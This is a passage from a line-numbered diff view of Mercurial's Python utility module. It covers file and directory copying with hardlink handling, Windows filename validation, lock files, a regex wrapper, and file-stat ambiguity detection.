1882 copystat and checkambig should be exclusive.
1872 '''
1883 '''
1873 assert not (copystat and checkambig)
1884 assert not (copystat and checkambig)
1874 oldstat = None
1885 oldstat = None
1875 if os.path.lexists(dest):
1886 if os.path.lexists(dest):
1876 if checkambig:
1887 if checkambig:
1877 oldstat = checkambig and filestat.frompath(dest)
1888 oldstat = checkambig and filestat.frompath(dest)
1878 unlink(dest)
1889 unlink(dest)
1879 if hardlink:
1890 if hardlink:
1880 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1891 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1881 # unless we are confident that dest is on a whitelisted filesystem.
1892 # unless we are confident that dest is on a whitelisted filesystem.
1882 try:
1893 try:
1883 fstype = getfstype(os.path.dirname(dest))
1894 fstype = getfstype(os.path.dirname(dest))
1884 except OSError:
1895 except OSError:
1885 fstype = None
1896 fstype = None
1886 if fstype not in _hardlinkfswhitelist:
1897 if fstype not in _hardlinkfswhitelist:
1887 hardlink = False
1898 hardlink = False
1888 if hardlink:
1899 if hardlink:
1889 try:
1900 try:
1890 oslink(src, dest)
1901 oslink(src, dest)
1891 return
1902 return
1892 except (IOError, OSError):
1903 except (IOError, OSError):
1893 pass # fall back to normal copy
1904 pass # fall back to normal copy
1894 if os.path.islink(src):
1905 if os.path.islink(src):
1895 os.symlink(os.readlink(src), dest)
1906 os.symlink(os.readlink(src), dest)
1896 # copytime is ignored for symlinks, but in general copytime isn't needed
1907 # copytime is ignored for symlinks, but in general copytime isn't needed
1897 # for them anyway
1908 # for them anyway
1898 else:
1909 else:
1899 try:
1910 try:
1900 shutil.copyfile(src, dest)
1911 shutil.copyfile(src, dest)
1901 if copystat:
1912 if copystat:
1902 # copystat also copies mode
1913 # copystat also copies mode
1903 shutil.copystat(src, dest)
1914 shutil.copystat(src, dest)
1904 else:
1915 else:
1905 shutil.copymode(src, dest)
1916 shutil.copymode(src, dest)
1906 if oldstat and oldstat.stat:
1917 if oldstat and oldstat.stat:
1907 newstat = filestat.frompath(dest)
1918 newstat = filestat.frompath(dest)
1908 if newstat.isambig(oldstat):
1919 if newstat.isambig(oldstat):
1909 # stat of copied file is ambiguous to original one
1920 # stat of copied file is ambiguous to original one
1910 advanced = (
1921 advanced = (
1911 oldstat.stat[stat.ST_MTIME] + 1
1922 oldstat.stat[stat.ST_MTIME] + 1
1912 ) & 0x7FFFFFFF
1923 ) & 0x7FFFFFFF
1913 os.utime(dest, (advanced, advanced))
1924 os.utime(dest, (advanced, advanced))
1914 except shutil.Error as inst:
1925 except shutil.Error as inst:
1915 raise error.Abort(stringutil.forcebytestr(inst))
1926 raise error.Abort(stringutil.forcebytestr(inst))
1916
1927
1917
1928
1918 def copyfiles(src, dst, hardlink=None, progress=None):
1929 def copyfiles(src, dst, hardlink=None, progress=None):
1919 """Copy a directory tree using hardlinks if possible."""
1930 """Copy a directory tree using hardlinks if possible."""
1920 num = 0
1931 num = 0
1921
1932
1922 def settopic():
1933 def settopic():
1923 if progress:
1934 if progress:
1924 progress.topic = _(b'linking') if hardlink else _(b'copying')
1935 progress.topic = _(b'linking') if hardlink else _(b'copying')
1925
1936
1926 if os.path.isdir(src):
1937 if os.path.isdir(src):
1927 if hardlink is None:
1938 if hardlink is None:
1928 hardlink = (
1939 hardlink = (
1929 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1940 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1930 )
1941 )
1931 settopic()
1942 settopic()
1932 os.mkdir(dst)
1943 os.mkdir(dst)
1933 for name, kind in listdir(src):
1944 for name, kind in listdir(src):
1934 srcname = os.path.join(src, name)
1945 srcname = os.path.join(src, name)
1935 dstname = os.path.join(dst, name)
1946 dstname = os.path.join(dst, name)
1936 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1947 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1937 num += n
1948 num += n
1938 else:
1949 else:
1939 if hardlink is None:
1950 if hardlink is None:
1940 hardlink = (
1951 hardlink = (
1941 os.stat(os.path.dirname(src)).st_dev
1952 os.stat(os.path.dirname(src)).st_dev
1942 == os.stat(os.path.dirname(dst)).st_dev
1953 == os.stat(os.path.dirname(dst)).st_dev
1943 )
1954 )
1944 settopic()
1955 settopic()
1945
1956
1946 if hardlink:
1957 if hardlink:
1947 try:
1958 try:
1948 oslink(src, dst)
1959 oslink(src, dst)
1949 except (IOError, OSError):
1960 except (IOError, OSError):
1950 hardlink = False
1961 hardlink = False
1951 shutil.copy(src, dst)
1962 shutil.copy(src, dst)
1952 else:
1963 else:
1953 shutil.copy(src, dst)
1964 shutil.copy(src, dst)
1954 num += 1
1965 num += 1
1955 if progress:
1966 if progress:
1956 progress.increment()
1967 progress.increment()
1957
1968
1958 return hardlink, num
1969 return hardlink, num
1959
1970
1960
1971
1961 _winreservednames = {
1972 _winreservednames = {
1962 b'con',
1973 b'con',
1963 b'prn',
1974 b'prn',
1964 b'aux',
1975 b'aux',
1965 b'nul',
1976 b'nul',
1966 b'com1',
1977 b'com1',
1967 b'com2',
1978 b'com2',
1968 b'com3',
1979 b'com3',
1969 b'com4',
1980 b'com4',
1970 b'com5',
1981 b'com5',
1971 b'com6',
1982 b'com6',
1972 b'com7',
1983 b'com7',
1973 b'com8',
1984 b'com8',
1974 b'com9',
1985 b'com9',
1975 b'lpt1',
1986 b'lpt1',
1976 b'lpt2',
1987 b'lpt2',
1977 b'lpt3',
1988 b'lpt3',
1978 b'lpt4',
1989 b'lpt4',
1979 b'lpt5',
1990 b'lpt5',
1980 b'lpt6',
1991 b'lpt6',
1981 b'lpt7',
1992 b'lpt7',
1982 b'lpt8',
1993 b'lpt8',
1983 b'lpt9',
1994 b'lpt9',
1984 }
1995 }
1985 _winreservedchars = b':*?"<>|'
1996 _winreservedchars = b':*?"<>|'
1986
1997
1987
1998
1988 def checkwinfilename(path):
1999 def checkwinfilename(path):
1989 r'''Check that the base-relative path is a valid filename on Windows.
2000 r'''Check that the base-relative path is a valid filename on Windows.
1990 Returns None if the path is ok, or a UI string describing the problem.
2001 Returns None if the path is ok, or a UI string describing the problem.
1991
2002
1992 >>> checkwinfilename(b"just/a/normal/path")
2003 >>> checkwinfilename(b"just/a/normal/path")
1993 >>> checkwinfilename(b"foo/bar/con.xml")
2004 >>> checkwinfilename(b"foo/bar/con.xml")
1994 "filename contains 'con', which is reserved on Windows"
2005 "filename contains 'con', which is reserved on Windows"
1995 >>> checkwinfilename(b"foo/con.xml/bar")
2006 >>> checkwinfilename(b"foo/con.xml/bar")
1996 "filename contains 'con', which is reserved on Windows"
2007 "filename contains 'con', which is reserved on Windows"
1997 >>> checkwinfilename(b"foo/bar/xml.con")
2008 >>> checkwinfilename(b"foo/bar/xml.con")
1998 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2009 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1999 "filename contains 'AUX', which is reserved on Windows"
2010 "filename contains 'AUX', which is reserved on Windows"
2000 >>> checkwinfilename(b"foo/bar/bla:.txt")
2011 >>> checkwinfilename(b"foo/bar/bla:.txt")
2001 "filename contains ':', which is reserved on Windows"
2012 "filename contains ':', which is reserved on Windows"
2002 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2013 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2003 "filename contains '\\x07', which is invalid on Windows"
2014 "filename contains '\\x07', which is invalid on Windows"
2004 >>> checkwinfilename(b"foo/bar/bla ")
2015 >>> checkwinfilename(b"foo/bar/bla ")
2005 "filename ends with ' ', which is not allowed on Windows"
2016 "filename ends with ' ', which is not allowed on Windows"
2006 >>> checkwinfilename(b"../bar")
2017 >>> checkwinfilename(b"../bar")
2007 >>> checkwinfilename(b"foo\\")
2018 >>> checkwinfilename(b"foo\\")
2008 "filename ends with '\\', which is invalid on Windows"
2019 "filename ends with '\\', which is invalid on Windows"
2009 >>> checkwinfilename(b"foo\\/bar")
2020 >>> checkwinfilename(b"foo\\/bar")
2010 "directory name ends with '\\', which is invalid on Windows"
2021 "directory name ends with '\\', which is invalid on Windows"
2011 '''
2022 '''
2012 if path.endswith(b'\\'):
2023 if path.endswith(b'\\'):
2013 return _(b"filename ends with '\\', which is invalid on Windows")
2024 return _(b"filename ends with '\\', which is invalid on Windows")
2014 if b'\\/' in path:
2025 if b'\\/' in path:
2015 return _(b"directory name ends with '\\', which is invalid on Windows")
2026 return _(b"directory name ends with '\\', which is invalid on Windows")
2016 for n in path.replace(b'\\', b'/').split(b'/'):
2027 for n in path.replace(b'\\', b'/').split(b'/'):
2017 if not n:
2028 if not n:
2018 continue
2029 continue
2019 for c in _filenamebytestr(n):
2030 for c in _filenamebytestr(n):
2020 if c in _winreservedchars:
2031 if c in _winreservedchars:
2021 return (
2032 return (
2022 _(
2033 _(
2023 b"filename contains '%s', which is reserved "
2034 b"filename contains '%s', which is reserved "
2024 b"on Windows"
2035 b"on Windows"
2025 )
2036 )
2026 % c
2037 % c
2027 )
2038 )
2028 if ord(c) <= 31:
2039 if ord(c) <= 31:
2029 return _(
2040 return _(
2030 b"filename contains '%s', which is invalid on Windows"
2041 b"filename contains '%s', which is invalid on Windows"
2031 ) % stringutil.escapestr(c)
2042 ) % stringutil.escapestr(c)
2032 base = n.split(b'.')[0]
2043 base = n.split(b'.')[0]
2033 if base and base.lower() in _winreservednames:
2044 if base and base.lower() in _winreservednames:
2034 return (
2045 return (
2035 _(b"filename contains '%s', which is reserved on Windows")
2046 _(b"filename contains '%s', which is reserved on Windows")
2036 % base
2047 % base
2037 )
2048 )
2038 t = n[-1:]
2049 t = n[-1:]
2039 if t in b'. ' and n not in b'..':
2050 if t in b'. ' and n not in b'..':
2040 return (
2051 return (
2041 _(
2052 _(
2042 b"filename ends with '%s', which is not allowed "
2053 b"filename ends with '%s', which is not allowed "
2043 b"on Windows"
2054 b"on Windows"
2044 )
2055 )
2045 % t
2056 % t
2046 )
2057 )
2047
2058
2048
2059
2049 if pycompat.iswindows:
2060 if pycompat.iswindows:
2050 checkosfilename = checkwinfilename
2061 checkosfilename = checkwinfilename
2051 timer = time.clock
2062 timer = time.clock
2052 else:
2063 else:
2053 # mercurial.windows doesn't have platform.checkosfilename
2064 # mercurial.windows doesn't have platform.checkosfilename
2054 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2065 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2055 timer = time.time
2066 timer = time.time
2056
2067
2057 if safehasattr(time, "perf_counter"):
2068 if safehasattr(time, "perf_counter"):
2058 timer = time.perf_counter
2069 timer = time.perf_counter
2059
2070
2060
2071
2061 def makelock(info, pathname):
2072 def makelock(info, pathname):
2062 """Create a lock file atomically if possible
2073 """Create a lock file atomically if possible
2063
2074
2064 This may leave a stale lock file if symlink isn't supported and signal
2075 This may leave a stale lock file if symlink isn't supported and signal
2065 interrupt is enabled.
2076 interrupt is enabled.
2066 """
2077 """
2067 try:
2078 try:
2068 return os.symlink(info, pathname)
2079 return os.symlink(info, pathname)
2069 except OSError as why:
2080 except OSError as why:
2070 if why.errno == errno.EEXIST:
2081 if why.errno == errno.EEXIST:
2071 raise
2082 raise
2072 except AttributeError: # no symlink in os
2083 except AttributeError: # no symlink in os
2073 pass
2084 pass
2074
2085
2075 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2086 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2076 ld = os.open(pathname, flags)
2087 ld = os.open(pathname, flags)
2077 os.write(ld, info)
2088 os.write(ld, info)
2078 os.close(ld)
2089 os.close(ld)
2079
2090
2080
2091
2081 def readlock(pathname):
2092 def readlock(pathname):
2082 try:
2093 try:
2083 return readlink(pathname)
2094 return readlink(pathname)
2084 except OSError as why:
2095 except OSError as why:
2085 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2096 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2086 raise
2097 raise
2087 except AttributeError: # no symlink in os
2098 except AttributeError: # no symlink in os
2088 pass
2099 pass
2089 with posixfile(pathname, b'rb') as fp:
2100 with posixfile(pathname, b'rb') as fp:
2090 return fp.read()
2101 return fp.read()
2091
2102
2092
2103
2093 def fstat(fp):
2104 def fstat(fp):
2094 '''stat file object that may not have fileno method.'''
2105 '''stat file object that may not have fileno method.'''
2095 try:
2106 try:
2096 return os.fstat(fp.fileno())
2107 return os.fstat(fp.fileno())
2097 except AttributeError:
2108 except AttributeError:
2098 return os.stat(fp.name)
2109 return os.stat(fp.name)
2099
2110
2100
2111
2101 # File system features
2112 # File system features
2102
2113
2103
2114
2104 def fscasesensitive(path):
2115 def fscasesensitive(path):
2105 """
2116 """
2106 Return true if the given path is on a case-sensitive filesystem
2117 Return true if the given path is on a case-sensitive filesystem
2107
2118
2108 Requires a path (like /foo/.hg) ending with a foldable final
2119 Requires a path (like /foo/.hg) ending with a foldable final
2109 directory component.
2120 directory component.
2110 """
2121 """
2111 s1 = os.lstat(path)
2122 s1 = os.lstat(path)
2112 d, b = os.path.split(path)
2123 d, b = os.path.split(path)
2113 b2 = b.upper()
2124 b2 = b.upper()
2114 if b == b2:
2125 if b == b2:
2115 b2 = b.lower()
2126 b2 = b.lower()
2116 if b == b2:
2127 if b == b2:
2117 return True # no evidence against case sensitivity
2128 return True # no evidence against case sensitivity
2118 p2 = os.path.join(d, b2)
2129 p2 = os.path.join(d, b2)
2119 try:
2130 try:
2120 s2 = os.lstat(p2)
2131 s2 = os.lstat(p2)
2121 if s2 == s1:
2132 if s2 == s1:
2122 return False
2133 return False
2123 return True
2134 return True
2124 except OSError:
2135 except OSError:
2125 return True
2136 return True
2126
2137
2127
2138
2128 try:
2139 try:
2129 import re2 # pytype: disable=import-error
2140 import re2 # pytype: disable=import-error
2130
2141
2131 _re2 = None
2142 _re2 = None
2132 except ImportError:
2143 except ImportError:
2133 _re2 = False
2144 _re2 = False
2134
2145
2135
2146
2136 class _re(object):
2147 class _re(object):
2137 def _checkre2(self):
2148 def _checkre2(self):
2138 global _re2
2149 global _re2
2139 try:
2150 try:
2140 # check if match works, see issue3964
2151 # check if match works, see issue3964
2141 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2152 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2142 except ImportError:
2153 except ImportError:
2143 _re2 = False
2154 _re2 = False
2144
2155
2145 def compile(self, pat, flags=0):
2156 def compile(self, pat, flags=0):
2146 '''Compile a regular expression, using re2 if possible
2157 '''Compile a regular expression, using re2 if possible
2147
2158
2148 For best performance, use only re2-compatible regexp features. The
2159 For best performance, use only re2-compatible regexp features. The
2149 only flags from the re module that are re2-compatible are
2160 only flags from the re module that are re2-compatible are
2150 IGNORECASE and MULTILINE.'''
2161 IGNORECASE and MULTILINE.'''
2151 if _re2 is None:
2162 if _re2 is None:
2152 self._checkre2()
2163 self._checkre2()
2153 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2164 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2154 if flags & remod.IGNORECASE:
2165 if flags & remod.IGNORECASE:
2155 pat = b'(?i)' + pat
2166 pat = b'(?i)' + pat
2156 if flags & remod.MULTILINE:
2167 if flags & remod.MULTILINE:
2157 pat = b'(?m)' + pat
2168 pat = b'(?m)' + pat
2158 try:
2169 try:
2159 return re2.compile(pat)
2170 return re2.compile(pat)
2160 except re2.error:
2171 except re2.error:
2161 pass
2172 pass
2162 return remod.compile(pat, flags)
2173 return remod.compile(pat, flags)
2163
2174
2164 @propertycache
2175 @propertycache
2165 def escape(self):
2176 def escape(self):
2166 '''Return the version of escape corresponding to self.compile.
2177 '''Return the version of escape corresponding to self.compile.
2167
2178
2168 This is imperfect because whether re2 or re is used for a particular
2179 This is imperfect because whether re2 or re is used for a particular
2169 function depends on the flags, etc, but it's the best we can do.
2180 function depends on the flags, etc, but it's the best we can do.
2170 '''
2181 '''
2171 global _re2
2182 global _re2
2172 if _re2 is None:
2183 if _re2 is None:
2173 self._checkre2()
2184 self._checkre2()
2174 if _re2:
2185 if _re2:
2175 return re2.escape
2186 return re2.escape
2176 else:
2187 else:
2177 return remod.escape
2188 return remod.escape
2178
2189
2179
2190
2180 re = _re()
2191 re = _re()
2181
2192
2182 _fspathcache = {}
2193 _fspathcache = {}
2183
2194
2184
2195
2185 def fspath(name, root):
2196 def fspath(name, root):
2186 '''Get name in the case stored in the filesystem
2197 '''Get name in the case stored in the filesystem
2187
2198
2188 The name should be relative to root, and be normcase-ed for efficiency.
2199 The name should be relative to root, and be normcase-ed for efficiency.
2189
2200
2190 Note that this function is unnecessary, and should not be
2201 Note that this function is unnecessary, and should not be
2191 called, for case-sensitive filesystems (simply because it's expensive).
2202 called, for case-sensitive filesystems (simply because it's expensive).
2192
2203
2193 The root should be normcase-ed, too.
2204 The root should be normcase-ed, too.
2194 '''
2205 '''
2195
2206
2196 def _makefspathcacheentry(dir):
2207 def _makefspathcacheentry(dir):
2197 return dict((normcase(n), n) for n in os.listdir(dir))
2208 return dict((normcase(n), n) for n in os.listdir(dir))
2198
2209
2199 seps = pycompat.ossep
2210 seps = pycompat.ossep
2200 if pycompat.osaltsep:
2211 if pycompat.osaltsep:
2201 seps = seps + pycompat.osaltsep
2212 seps = seps + pycompat.osaltsep
2202 # Protect backslashes. This gets silly very quickly.
2213 # Protect backslashes. This gets silly very quickly.
2203 seps.replace(b'\\', b'\\\\')
2214 seps.replace(b'\\', b'\\\\')
2204 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2215 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2205 dir = os.path.normpath(root)
2216 dir = os.path.normpath(root)
2206 result = []
2217 result = []
2207 for part, sep in pattern.findall(name):
2218 for part, sep in pattern.findall(name):
2208 if sep:
2219 if sep:
2209 result.append(sep)
2220 result.append(sep)
2210 continue
2221 continue
2211
2222
2212 if dir not in _fspathcache:
2223 if dir not in _fspathcache:
2213 _fspathcache[dir] = _makefspathcacheentry(dir)
2224 _fspathcache[dir] = _makefspathcacheentry(dir)
2214 contents = _fspathcache[dir]
2225 contents = _fspathcache[dir]
2215
2226
2216 found = contents.get(part)
2227 found = contents.get(part)
2217 if not found:
2228 if not found:
2218 # retry "once per directory" per "dirstate.walk" which
2229 # retry "once per directory" per "dirstate.walk" which
2219 # may take place for each patches of "hg qpush", for example
2230 # may take place for each patches of "hg qpush", for example
2220 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2231 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2221 found = contents.get(part)
2232 found = contents.get(part)
2222
2233
2223 result.append(found or part)
2234 result.append(found or part)
2224 dir = os.path.join(dir, part)
2235 dir = os.path.join(dir, part)
2225
2236
2226 return b''.join(result)
2237 return b''.join(result)
2227
2238
2228
2239
2229 def checknlink(testfile):
2240 def checknlink(testfile):
2230 '''check whether hardlink count reporting works properly'''
2241 '''check whether hardlink count reporting works properly'''
2231
2242
2232 # testfile may be open, so we need a separate file for checking to
2243 # testfile may be open, so we need a separate file for checking to
2233 # work around issue2543 (or testfile may get lost on Samba shares)
2244 # work around issue2543 (or testfile may get lost on Samba shares)
2234 f1, f2, fp = None, None, None
2245 f1, f2, fp = None, None, None
2235 try:
2246 try:
2236 fd, f1 = pycompat.mkstemp(
2247 fd, f1 = pycompat.mkstemp(
2237 prefix=b'.%s-' % os.path.basename(testfile),
2248 prefix=b'.%s-' % os.path.basename(testfile),
2238 suffix=b'1~',
2249 suffix=b'1~',
2239 dir=os.path.dirname(testfile),
2250 dir=os.path.dirname(testfile),
2240 )
2251 )
2241 os.close(fd)
2252 os.close(fd)
2242 f2 = b'%s2~' % f1[:-2]
2253 f2 = b'%s2~' % f1[:-2]
2243
2254
2244 oslink(f1, f2)
2255 oslink(f1, f2)
2245 # nlinks() may behave differently for files on Windows shares if
2256 # nlinks() may behave differently for files on Windows shares if
2246 # the file is open.
2257 # the file is open.
2247 fp = posixfile(f2)
2258 fp = posixfile(f2)
2248 return nlinks(f2) > 1
2259 return nlinks(f2) > 1
2249 except OSError:
2260 except OSError:
2250 return False
2261 return False
2251 finally:
2262 finally:
2252 if fp is not None:
2263 if fp is not None:
2253 fp.close()
2264 fp.close()
2254 for f in (f1, f2):
2265 for f in (f1, f2):
2255 try:
2266 try:
2256 if f is not None:
2267 if f is not None:
2257 os.unlink(f)
2268 os.unlink(f)
2258 except OSError:
2269 except OSError:
2259 pass
2270 pass
2260
2271
2261
2272
2262 def endswithsep(path):
2273 def endswithsep(path):
2263 '''Check path ends with os.sep or os.altsep.'''
2274 '''Check path ends with os.sep or os.altsep.'''
2264 return (
2275 return (
2265 path.endswith(pycompat.ossep)
2276 path.endswith(pycompat.ossep)
2266 or pycompat.osaltsep
2277 or pycompat.osaltsep
2267 and path.endswith(pycompat.osaltsep)
2278 and path.endswith(pycompat.osaltsep)
2268 )
2279 )
2269
2280
2270
2281
2271 def splitpath(path):
2282 def splitpath(path):
2272 '''Split path by os.sep.
2283 '''Split path by os.sep.
2273 Note that this function does not use os.altsep because this is
2284 Note that this function does not use os.altsep because this is
2274 an alternative of simple "xxx.split(os.sep)".
2285 an alternative of simple "xxx.split(os.sep)".
2275 It is recommended to use os.path.normpath() before using this
2286 It is recommended to use os.path.normpath() before using this
2276 function if need.'''
2287 function if need.'''
2277 return path.split(pycompat.ossep)
2288 return path.split(pycompat.ossep)
2278
2289
2279
2290
2280 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2291 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2281 """Create a temporary file with the same contents from name
2292 """Create a temporary file with the same contents from name
2282
2293
2283 The permission bits are copied from the original file.
2294 The permission bits are copied from the original file.
2284
2295
2285 If the temporary file is going to be truncated immediately, you
2296 If the temporary file is going to be truncated immediately, you
2286 can use emptyok=True as an optimization.
2297 can use emptyok=True as an optimization.
2287
2298
2288 Returns the name of the temporary file.
2299 Returns the name of the temporary file.
2289 """
2300 """
2290 d, fn = os.path.split(name)
2301 d, fn = os.path.split(name)
2291 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2302 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2292 os.close(fd)
2303 os.close(fd)
2293 # Temporary files are created with mode 0600, which is usually not
2304 # Temporary files are created with mode 0600, which is usually not
2294 # what we want. If the original file already exists, just copy
2305 # what we want. If the original file already exists, just copy
2295 # its mode. Otherwise, manually obey umask.
2306 # its mode. Otherwise, manually obey umask.
2296 copymode(name, temp, createmode, enforcewritable)
2307 copymode(name, temp, createmode, enforcewritable)
2297
2308
2298 if emptyok:
2309 if emptyok:
2299 return temp
2310 return temp
2300 try:
2311 try:
2301 try:
2312 try:
2302 ifp = posixfile(name, b"rb")
2313 ifp = posixfile(name, b"rb")
2303 except IOError as inst:
2314 except IOError as inst:
2304 if inst.errno == errno.ENOENT:
2315 if inst.errno == errno.ENOENT:
2305 return temp
2316 return temp
2306 if not getattr(inst, 'filename', None):
2317 if not getattr(inst, 'filename', None):
2307 inst.filename = name
2318 inst.filename = name
2308 raise
2319 raise
2309 ofp = posixfile(temp, b"wb")
2320 ofp = posixfile(temp, b"wb")
2310 for chunk in filechunkiter(ifp):
2321 for chunk in filechunkiter(ifp):
2311 ofp.write(chunk)
2322 ofp.write(chunk)
2312 ifp.close()
2323 ifp.close()
2313 ofp.close()
2324 ofp.close()
2314 except: # re-raises
2325 except: # re-raises
2315 try:
2326 try:
2316 os.unlink(temp)
2327 os.unlink(temp)
2317 except OSError:
2328 except OSError:
2318 pass
2329 pass
2319 raise
2330 raise
2320 return temp
2331 return temp
2321
2332
2322
2333
2323 class filestat(object):
2334 class filestat(object):
2324 """help to exactly detect change of a file
2335 """help to exactly detect change of a file
2325
2336
2326 'stat' attribute is result of 'os.stat()' if specified 'path'
2337 'stat' attribute is result of 'os.stat()' if specified 'path'
2327 exists. Otherwise, it is None. This can avoid preparative
2338 exists. Otherwise, it is None. This can avoid preparative
2328 'exists()' examination on client side of this class.
2339 'exists()' examination on client side of this class.
2329 """
2340 """
2330
2341
2331 def __init__(self, stat):
2342 def __init__(self, stat):
2332 self.stat = stat
2343 self.stat = stat
2333
2344
2334 @classmethod
2345 @classmethod
2335 def frompath(cls, path):
2346 def frompath(cls, path):
2336 try:
2347 try:
2337 stat = os.stat(path)
2348 stat = os.stat(path)
2338 except OSError as err:
2349 except OSError as err:
2339 if err.errno != errno.ENOENT:
2350 if err.errno != errno.ENOENT:
2340 raise
2351 raise
2341 stat = None
2352 stat = None
2342 return cls(stat)
2353 return cls(stat)
2343
2354
2344 @classmethod
2355 @classmethod
2345 def fromfp(cls, fp):
2356 def fromfp(cls, fp):
2346 stat = os.fstat(fp.fileno())
2357 stat = os.fstat(fp.fileno())
2347 return cls(stat)
2358 return cls(stat)
2348
2359
2349 __hash__ = object.__hash__
2360 __hash__ = object.__hash__
2350
2361
2351 def __eq__(self, old):
2362 def __eq__(self, old):
2352 try:
2363 try:
2353 # if ambiguity between stat of new and old file is
2364 # if ambiguity between stat of new and old file is
2354 # avoided, comparison of size, ctime and mtime is enough
2365 # avoided, comparison of size, ctime and mtime is enough
2355 # to exactly detect change of a file regardless of platform
2366 # to exactly detect change of a file regardless of platform
2356 return (
2367 return (
2357 self.stat.st_size == old.stat.st_size
2368 self.stat.st_size == old.stat.st_size
2358 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2369 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2359 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2370 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2360 )
2371 )
2361 except AttributeError:
2372 except AttributeError:
2362 pass
2373 pass
2363 try:
2374 try:
2364 return self.stat is None and old.stat is None
2375 return self.stat is None and old.stat is None
2365 except AttributeError:
2376 except AttributeError:
2366 return False
2377 return False
2367
2378
2368 def isambig(self, old):
2379 def isambig(self, old):
2369 """Examine whether new (= self) stat is ambiguous against old one
2380 """Examine whether new (= self) stat is ambiguous against old one
2370
2381
2371 "S[N]" below means stat of a file at N-th change:
2382 "S[N]" below means stat of a file at N-th change:
2372
2383
2373 - S[n-1].ctime < S[n].ctime: can detect change of a file
2384 - S[n-1].ctime < S[n].ctime: can detect change of a file
2374 - S[n-1].ctime == S[n].ctime
2385 - S[n-1].ctime == S[n].ctime
2375 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2386 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2376 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2387 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2377 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2388 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2378 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2389 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2379
2390
2380 Case (*2) above means that a file was changed twice or more at
2391 Case (*2) above means that a file was changed twice or more at
2381 same time in sec (= S[n-1].ctime), and comparison of timestamp
2392 same time in sec (= S[n-1].ctime), and comparison of timestamp
2382 is ambiguous.
2393 is ambiguous.
2383
2394
2384 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2395 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2385 timestamp is ambiguous".
2396 timestamp is ambiguous".
2386
2397
2387 But advancing mtime only in case (*2) doesn't work as
2398 But advancing mtime only in case (*2) doesn't work as
2388 expected, because naturally advanced S[n].mtime in case (*1)
2399 expected, because naturally advanced S[n].mtime in case (*1)
2389 might be equal to manually advanced S[n-1 or earlier].mtime.
2400 might be equal to manually advanced S[n-1 or earlier].mtime.
2390
2401
2391 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2402 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2392 treated as ambiguous regardless of mtime, to avoid overlooking
2403 treated as ambiguous regardless of mtime, to avoid overlooking
2393 by confliction between such mtime.
2404 by confliction between such mtime.
2394
2405
2395 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2406 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2396 S[n].mtime", even if size of a file isn't changed.
2407 S[n].mtime", even if size of a file isn't changed.
2397 """
2408 """
2398 try:
2409 try:
2399 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2410 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2400 except AttributeError:
2411 except AttributeError:
2401 return False
2412 return False
2402
2413
2403 def avoidambig(self, path, old):
2414 def avoidambig(self, path, old):
2404 """Change file stat of specified path to avoid ambiguity
2415 """Change file stat of specified path to avoid ambiguity
2405
2416
2406 'old' should be previous filestat of 'path'.
2417 'old' should be previous filestat of 'path'.
2407
2418
2408 This skips avoiding ambiguity, if a process doesn't have
2419 This skips avoiding ambiguity, if a process doesn't have
2409 appropriate privileges for 'path'. This returns False in this
2420 appropriate privileges for 'path'. This returns False in this
2410 case.
2421 case.
2411
2422
2412 Otherwise, this returns True, as "ambiguity is avoided".
2423 Otherwise, this returns True, as "ambiguity is avoided".
2413 """
2424 """
2414 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2425 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2415 try:
2426 try:
2416 os.utime(path, (advanced, advanced))
2427 os.utime(path, (advanced, advanced))
2417 except OSError as inst:
2428 except OSError as inst:
2418 if inst.errno == errno.EPERM:
2429 if inst.errno == errno.EPERM:
